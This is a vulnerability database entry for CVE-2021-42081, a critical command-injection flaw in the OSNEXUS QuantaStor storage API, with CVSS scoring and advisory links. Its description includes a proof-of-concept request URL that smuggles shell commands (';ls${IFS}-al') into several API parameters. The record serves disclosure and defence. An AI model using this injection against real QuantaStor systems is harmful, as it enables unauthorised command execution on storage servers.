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CVE-2021-42081

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CVE-2021-42081

Published: Jul 10, 2023

Modified: Sep 22, 2025

PUBLISHED

CVSS v3.1

9.1

CRITICAL

Description

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

VendorProductVersions

OSNEXUS

QuantaStor

affected
0 - < 6.0.0.355

Weaknesses (CWE)

CWE-78

CVSS v3.1 Details

CVSS v3.1 Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

High

User Interaction

None

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

References

https://www.wbsec.nl/osnexus
third-party-advisory
technical-description
exploit
https://csirt.divd.nl/CVE-2021-42081
third-party-advisory
technical-description
exploit

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